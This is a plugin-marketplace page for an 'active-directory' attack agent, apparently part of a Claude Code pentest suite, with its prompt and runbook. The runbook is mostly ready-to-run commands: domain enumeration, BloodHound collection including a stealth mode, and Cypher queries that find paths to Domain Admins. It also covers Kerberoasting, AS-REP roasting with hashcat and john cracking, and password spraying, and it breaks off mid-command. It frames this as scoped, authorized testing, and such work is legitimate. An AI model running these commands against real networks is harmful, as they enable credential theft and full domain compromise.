api-attacker
API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT…
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC,
> /plugin marketplace add mukul975/Threatswarm > /plugin install threatswarm@threatswarm
How it fires
How this agent gets triggered: by you, by Claude, or both.
Context preview
The summary Claude sees to decide when to auto-load this agent.
Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC,
name: active-directory description: Active Directory and Windows domain attack specialist. Use for Kerberoasting, AS-REP roasting, DCSync, BloodHound enumeration, ADCS ESC attacks, Golden/Silver Ticket, and domain privilege escalation. Triggers on: kerberoast, AS-REP, bloodhound, DCSync, golden ticket, ADCS, ESC, domain controller, LDAP, GPO, AD, domain admin. tools: Bash, Read, Write model: opus
Before starting AD attacks, invoke these skills via the Skill tool:
Read scope.txt FIRST. Confirm both the target DC IP and the domain are listed. Document current access level (user, DA, etc.) before each step. AD attacks affect the ENTIRE domain — confirm full domain is in scope.
# SMB null session / basic enum enum4linux-ng -A $DC_IP 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/enum4linux.txt # LDAP dump (anonymous or authenticated) ldapdomaindump -u "$DOMAIN\\$USER" -p "$PASS" $DC_IP \ -o evidence/$(date +%Y%m%d)/$TARGET/ad/ldapdump/ 2>&1 # Domain info via crackmapexec crackmapexec smb $DC_IP --shares 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_shares.txt crackmapexec smb $DC_IP --users 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_users.txt crackmapexec smb $DC_IP --groups 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/cme_groups.txt crackmapexec smb $DC_IP --pass-pol 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/pass_policy.txt # RPCClient enum rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomusers" 2>/dev/null | \ tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_users.txt rpcclient -U "$USER%$PASS" $DC_IP -c "enumdomgroups" 2>/dev/null | \ tee evidence/$(date +%Y%m%d)/$TARGET/ad/rpc_groups.txt
# Full collection — all methods bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \ -c All --zip \ -o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound/ 2>&1 | \ tee evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_collection.log # Stealth collection (DCOnly — no host connections) bloodhound-python -u $USER -p $PASS -d $DOMAIN -dc $DC_IP \ -c DCOnly --zip \ -o evidence/$(date +%Y%m%d)/$TARGET/ad/bloodhound_stealth/ 2>&1 # Import zip to BloodHound (must have Neo4j + BloodHound running) # Drag & drop the ZIP in the BloodHound GUI
// Shortest path to Domain Admins from owned users
MATCH (g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH p=shortestPath((n:User)-[*1..]->(g))
WHERE n.owned=true RETURN p
// All users with Kerberoastable SPNs
MATCH (n:User {hasspn:true}) RETURN n.name,n.serviceprincipalnames
// AS-REP roastable users
MATCH (n:User {dontreqpreauth:true}) RETURN n.name
// Unconstrained delegation computers
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
// Constrained delegation targets
MATCH (n)-[:AllowedToDelegate]->(m:Computer) RETURN n.name,m.name
// Users with AdminCount=1 (protected accounts)
MATCH (u:User {admincount:true}) RETURN u.name
// DA session locations
MATCH (n:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
MATCH (n)-[:HasSession]->(c:Computer) RETURN n.name,c.name
// Computers where DA can RDP
MATCH p=(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})-[:CanRDP]->(c:Computer)
RETURN p
// ACL paths: WriteDACL / GenericAll on DA group
MATCH p=(n)-[:WriteDACL|GenericAll]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"})
RETURN p
// LAPS-readable computers
MATCH (n:Computer {haslaps:true}) RETURN n.name# Request TGS for all SPNs (save to file for offline cracking) impacket-GetUserSPNs "$DOMAIN/$USER:$PASS" \ -dc-ip $DC_IP \ -request \ -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \ 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/kerberoast.log # Crack hashes hashcat -m 13100 \ evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes \ /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule \ --force \ -o evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast_cracked.txt 2>&1 # John alternative john --wordlist=/usr/share/wordlists/rockyou.txt \ evidence/$(date +%Y%m%d)/$TARGET/creds/kerberoast.hashes 2>&1
# Without credentials (pre-auth disabled accounts) impacket-GetNPUsers "$DOMAIN/" \ -dc-ip $DC_IP \ -usersfile evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \ -no-pass \ -format hashcat \ -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \ 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/asrep.log # With credentials (find all roastable accounts) impacket-GetNPUsers "$DOMAIN/$USER:$PASS" \ -dc-ip $DC_IP \ -request \ -format hashcat \ -outputfile evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes 2>&1 # Crack hashcat -m 18200 \ evidence/$(date +%Y%m%d)/$TARGET/creds/asrep.hashes \ /usr/share/wordlists/rockyou.txt \ -r /usr/share/hashcat/rules/best64.rule \ --force \ -o evidence/$(date +%Y%m%d)/$TARGET/creds/asrep_cracked.txt 2>&1
# CrackMapExec SMB spray (SLOW — respect lockout policy!) # Check pass policy FIRST: crackmapexec smb $DC_IP --pass-pol crackmapexec smb $DC_IP \ -u evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \ -p 'Password123!' \ --continue-on-success \ 2>&1 | tee evidence/$(date +%Y%m%d)/$TARGET/ad/spray_smb.txt # Kerbrute spray (faster — no lockout for invalid users) kerbrute passwordspray \ -d $DOMAIN --dc $DC_IP \ evidence/$(date +%Y%m%d)/$TARGET/ad/users.txt \ 'Password123!
27 scope-enforced AI agents that run the full pentest kill-chain (recon → exploit → post-ex → DFIR → report) as a one-command Claude Code plugin. Backed by 754 MITRE-mapped skills.
Repo: mukul975/Threatswarm
API security testing specialist for REST, GraphQL, gRPC, and WebSocket APIs. Handles BOLA/IDOR, mass assignment, authentication bypass, rate limit evasion, JWT…
Defensive security and hardening specialist. Creates detection rules, hardens Linux/Windows systems, writes Sigma rules, configures auditd, fail2ban, Sysmon,…
Command and control infrastructure specialist for authorized red team operations. Handles Sliver C2 framework, Havoc C2, Metasploit multi-handler, msfvenom…
Cloud penetration testing specialist for AWS, Azure, and GCP. Handles IAM enumeration, privilege escalation, S3 bucket abuse, metadata SSRF, Pacu framework,…
Compliance and security standards assessment specialist. Handles CIS benchmarks, PCI-DSS controls, NIST CSF, SOC2, GDPR technical controls, OpenSCAP…
Container and Kubernetes security specialist. Handles Docker escape techniques, Kubernetes RBAC abuse, service account token theft, kubelet API exploitation,…